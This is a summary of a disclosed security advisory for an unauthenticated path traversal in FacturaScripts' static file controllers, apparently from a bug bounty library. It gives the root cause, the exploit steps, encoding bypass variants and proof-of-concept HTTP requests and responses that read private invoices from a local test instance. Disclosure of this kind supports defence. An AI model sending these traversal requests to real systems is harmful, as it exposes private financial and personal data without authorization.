# FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents

FacturaScripts static file controllers prefix-check the raw URL, so `/Plugins/../MyFiles/Private/x.pdf` serves token-protected invoices unauthenticated.

- Payout: Research
- Severity: high
- Program: FacturaScripts
- Found by: 5kr1pt
- Disclosed: 2026-07-14
- CVE: CVE-2026-45693
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-cv65-7cg8-r623
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-cv65-7cg8-r623
- Tags: area:web domain:web impact:data-leak impact:pii-leak kind:research platform:ghsa sev:high tech:php technique:source-review vuln:access-control vuln:auth-bypass vuln:path-traversal

**Target:** PHP static file controllers (Files.php, Myfiles.php) serving /Plugins, /Core/Assets, /Dinamic/Assets, /MyFiles routes
**Root cause:** isFolderSafe() and the MyFiles token-skip both do strpos/substr prefix checks on the raw URL string rather than the canonical resolved filesystem path, so a `../` after an allow-listed prefix passes the check while is_file()/readfile() resolve to a different directory.
**Steps:**
1. Control: `GET /MyFiles/Private/invoice-2026-001-ACME.pdf` returns 403 Invalid token.
2. Exploit path 1: `GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf` — substr(url,0,8)=='/Plugins' passes isFolderSafe, extension pdf passes isFileSafe, returns 200 with file body.
3. Exploit path 2: `GET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf` — strpos(url,'/MyFiles/Public/')===0 triggers early return skipping myft token validation, then readfile resolves to Private/.
4. Encoding variants `%2e%2e`, `%2E%2E`, `.%2e`, `///../` also bypass, confirming the flaw is in the prefix check not Apache normalization.
**How found:** Code review of the two controllers: noticed authorization decisions (isFolderSafe, token-skip) operate on the raw URL string while the actual file open uses the filesystem-resolved path, and that is_file() resolves `..` before the safety check's assumption holds.
**Exploitation:** Unauthenticated attacker sends a single GET with an allow-listed folder prefix followed by `../` and a target path under MyFiles/Private (or Cache/Tmp), with an allow-listed extension (pdf, xlsx, docx, csv, sql, zip, xml, json, xsig). The controller serves the file body with 200. No token, no auth, no precondition for the /Plugins path since Plugins/ always exists.
**Escalation:** Bounded to the application directory tree (Apache rejects paths escaping the docroot with AH10244); .php not on allow-list so no RCE. Leaks invoices, attachments, .sql backups.
**Insight:** When a controller authorizes on the URL string but opens on the resolved path, any allow-listed prefix plus `../` is a traversal; also check early-return token skips keyed on URL prefix — they bypass auth for the whole subtree behind the prefix.

## Proof of concept (copied exactly from the original report)

**Unauthenticated traversal via /Plugins reads private invoice**

```
GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 200 OK
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data
```

**Traversal via /MyFiles/Public bypasses myft token**

```
GET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000, immutable
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC
```

**Control request blocked without token**

```
GET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 403 Forbidden
<title>Invalid token.</title>
<p>The access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired</p>
```

